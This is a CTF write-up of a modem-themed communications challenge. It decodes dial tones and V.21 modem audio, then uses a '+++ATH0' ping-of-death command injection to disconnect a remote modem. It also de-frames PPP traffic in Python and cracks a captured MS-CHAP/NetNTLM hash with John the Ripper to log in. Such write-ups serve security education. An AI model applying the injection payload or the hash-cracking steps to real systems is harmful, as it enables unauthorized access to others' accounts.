10
2
Fork 0
has-writeup/comms/56k
xenia 364002b031 56k: s 2020-05-26 03:14:38 -04:00
..
README.md 56k: s 2020-05-26 03:14:38 -04:00
decode.py 56k 2020-05-26 03:08:34 -04:00

README.md

56K Flex Magic

Category: Communication Systems Points (final): 205 Solves: 13

Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a flag…

UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected behavior.

Write-up

by haskal

An audio file is included that contains a session where a number is dialed, and then some modem data is exchanged (it's a very distinctive sound). Additionally, there is a note included with the following text.

---=== MY SERVER ===---
Phone #: 275-555-0143
Username: hax
Password: hunter2

* Modem implements a (very small) subset of 'Basic' commands as
  described in the ITU-T V.250 spec (Table I.2)

---=== THEIR SERVER ===---

Ground station IP: 93.184.216.34
Ground station Phone #: 458-XXX-XXXX ...?
Username: ?
Password: ?

* They use the same model of modem as mine... could use +++ATH0
  ping of death
* It'll have an interactive login similar to my server
* Their official password policy: minimum requirements of
  FIPS112 (probably just numeric)
    * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'

ITU-T V.250 is essentially a formalization of the Hayes command set, so we can use basic Hayes commands to interact with our local modem, such as

ATDTXXXXXXXXXX - dial number XXX...
ATH0           - hang up
+++            - get the local modem's attention while in a remote session

The first step is to try to get information about the ground station server. We can decode the dial tones from the audio file, which are DTMF tones. Once decoded we obtain a phone number for the ground station of 458-555-0142. However dialing this number results in an error - BUSY. Presumably, the ground station is already dialed into somewhere, and we need to disconnect it.

The "ping of death" refers to injecting a modem command into a packet sent to a remote server in order to cause the server's modem to interpret a hang up command contained in the packet. This can be achieved by pinging with the data +++ATH0, because as the server replies to the ping with the same data, its local modem will interpret the command inside the ping. But we need to escape it with hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the text file to get an initial shell session

ATDT2755550143

Next, issue a ping of death to the provided server IP

ping -v 0x2b2b2b415448290d 93.184.216.34

Now the ground station should be disconnected so it is available for us to dial.

+++ATH0
ATDT45845550142

We get a login prompt for SATNET

*   *   . *  *    * .   *   * . *   *  .  
    .  *   *   .    * .    . *      .  *  
 *   +------------------------------+     
   . |            SATNET            |   * 
     +------------------------------+ .   
  .  |    UNAUTHORIZED ACCESS IS    |     
     |     STRICTLY PROHIBITED      |     
.    +------------------------------+   . 
         .             .                  
                                  .       
                                          
Setting up - this will take a while...

LOGIN
Username: 

However we still need the username and password. Maybe the provided audio file has the credentials somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is consistent with the ITU V.21 standard which uses dual-channel Frequency Shift Keying at 300 bits/second. We can use minimodem to decode the modem traffic. We can provide the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.

minimodem -8 -S 980 -M 1180 -f recording.wav 300
minimodem -8 -S 1650 -M 1850 -f recording.wav 300

This data looks like garbage but it contains some strings, notably rocketman2674. We assume from the notes file that the password is a 4-digit number, but trying the username rocketman and password 2674 didn't work. We need to look closer. This is the beginning of one side of the exchange in hex:

00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22  ~.}#.!}!} } }4}"
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5  }&} } } } }%}&(.
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d  L!}'}"}(}"..~~.}
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d  #.!}!}!} }4}"}&}
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d   } } } }%}&(.L!}

It starts with 7eff, which is characteristic of Point-to-Point Protocol. We can decode the packets with scapy, a framework for network protocol analysis. However, first we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically. There are two main tasks, first split up the frames by the 7e delimiters, and then remove the byte stuffing within the frame, since PPP will escape certain bytes with the 7d prefix followed by the byte XOR 0x20. Finally, the frame can be passed to scapy for analysis. This is a VERY lax de-framer because sometimes frames seemed to not be started or terminated properly.

def decode(ch):
    buf2 = b""
    esc = False

    for x in ch:
        if x == 0x7e:
            if buf2 != b"\xFF" and buf2 != b"":
                print(PPP(buf2).__repr__())
            buf2 = b""
            esc = False
        elif esc:
            esc = False
            buf2 += bytes([x^0x20])
        elif x == 0x7d:
            esc = True
        else:
            buf2 += bytes([x])

    if len(buf2) > 0:
        print(PPP(buf2).__repr__())

(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this snippet.)

Now we can see what the packets mean. In particular, we spot these ones:

 ===================== CH 1 

<HDLC  address=0xff control=0x3 |<PPP  proto=Link Control Protocol |<PPP_LCP_Configure  code=Configure-Ack id=0x2 len=28 options=[<PPP_LCP_ACCM_Option  type=Async-Control-Character-Map len=6 accm=0 |>, <PPP_LCP_Auth_Protocol_Option  type=Authentication-protocol len=5 auth_protocol=Challenge-response authentication protocol algorithm=MS-CHAP |>, <PPP_LCP_Magic_Number_Option  type=Magic-number len=6 magic_number=77681304 |>, <PPP_LCP_Option  type=Protocol-Field-Compression len=2 data='' |>, <PPP_LCP_Option  type=Address-and-Control-Field-Compression len=2 data='' |>, <PPP_LCP_Callback_Option  type=Callback len=3 operation=6 |>] |<Padding  load='\xbe6' |>>>>
<PPP  proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse  code=Response id=0x0 len=67 value_size=49 value=0000000000000000000000000000000000000000000000006c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b401 optional_name='rocketman2674' |<Padding  load='c\x89' |>>>

 ===================== CH 2 

<PPP  proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse  code=Challenge id=0x0 len=26 value_size=8 value=12810ab88c7f1c74 optional_name='GRNDSTTNA8F6C' |<Padding  load='[\x1f' |>>>
<PPP  proto=Challenge Handshake Authentication Protocol |<PPP_CHAP  code=Success id=0x0 len=4 data='' |<Padding  load='\x1e\xe6' |>>>

We can see in this exchange that the client has negotiated MS-CHAP authentication and then authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just need the username (rocketman2674), the "challenge" which is used as a salt for the hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We can now convert the data into a John-the-Ripper compatible hash like

username:$NETNTLM$challenge$hash

rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4

Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put this hash in a text file and run john file.txt. No need to specify 4 digit pins because john will complete in literal seconds anyway.

Proceeding with incremental:ASCII
9435             (rocketman2674)
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed

Use rocketman2674 with password 9435 to log in to the ground station, then execute the flag command to get the flag.

Resources and other writeups